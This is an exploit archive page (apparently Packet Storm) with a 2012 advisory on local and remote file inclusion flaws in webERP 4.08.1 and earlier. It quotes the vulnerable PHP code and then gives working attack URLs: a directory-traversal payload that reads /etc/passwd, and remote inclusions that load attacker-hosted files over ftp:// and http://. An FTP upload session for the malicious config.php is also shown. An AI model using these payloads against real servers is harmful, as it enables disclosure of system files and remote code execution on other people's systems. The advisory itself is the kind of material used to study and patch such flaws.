exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

webERP 4.08.1 Local File Inclusion / Remote File Inclusion

webERP 4.08.1 Local File Inclusion / Remote File Inclusion
Posted Jun 28, 2012
Authored by dun

webERP versions 4.08.1 and below suffer from local file inclusion and remote file inclusion vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, file inclusion
SHA-256 | 5267f890f545bb735b1c39589e72551064eb335e1539e0d265bf1035279b0379

webERP 4.08.1 Local File Inclusion / Remote File Inclusion

Change Mirror Download
:::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-06-27 ]
###################################################################
# [ webERP <= 4.08.1 ] Local/Remote File Inclusion Vulnerability #
###################################################################
#
# Script: "Accounting & Best Practice Business Administration System"
#
# Vendor: http://www.weberp.org/
# Download: http://sourceforge.net/projects/web-erp/files/
#
# File: ./webERP/index.php (line: 4)
# 1 <?php
# 2 $PageSecurity=0;
# 3
# 4 include('includes/session.inc'); // 1
# ..cut..
#
# File: ./webERP/includes/session.inc (lines: 4-16)
# ..cut..
# 4 if (!isset($PathPrefix)) { // 2
# 5 $PathPrefix='';
# 6 }
# 7
# 8
# 9 if (!file_exists($PathPrefix . 'config.php')){ // 3
# 10 $rootpath = dirname(htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'));
# 11 if ($rootpath == '/' OR $rootpath == "\\") {
# 12 $rootpath = '';
# 13 }
# 14 header('Location:' . $rootpath . '/install/index.php');
# 15 }
# 16 include($PathPrefix . 'config.php'); // 4 [LFI]/[RFI]
# ..cut..
#
# [LFI] ( magic_quotes_gpc = Off; )
# Vuln: http://localhost/webERP/index.php?PathPrefix=../../../../../../etc/passwd%00
#
# [RFI #1] ( allow_url_fopen = On; allow_url_include = On; register_globals = On; )
# It is possible to bypass line: (!file_exists($PathPrefix . 'config.php')),
# when we use some url wrappers. For example ftp://
# Example:
#
# dun@rd01 ~ $ cat ./config.php
# <?php phpinfo(); ?>
# dun@rd01 ~ $ ftp ftp.server.com
# Connected to ftp.server.com.
# Name (ftp.server.com): user
# 331 User user OK. Password required
# Password:
# 230 OK. Current restricted directory is /
# ftp> put config.php
# local: config.php remote: config.php
# 200 PORT command successful
# 226 File successfully transferred
# ftp> quit
# 221 Logout.
#
# Now we can use url:
# Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/
# In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist.
# If exist, then include it.
#
###################################################################
#
# [RFI #2] ( allow_url_include = On; register_globals = On; )
#
# File: ./webERP/includes/LanguageSetup.php (lines: 29-84)
# ..cut..
# 29 if (!function_exists('gettext')) {
# ..cut..
# 34 require_once($PathPrefix . 'includes/php-gettext/streams.php');
# ..cut..
# 64 } else {
# 65 include($PathPrefix . 'includes/LanguagesArray.php');
# ..cut..
# 84 }
# ..cut..
#
# Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt?
#
### [ dun / 2012 ] #####################################################

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close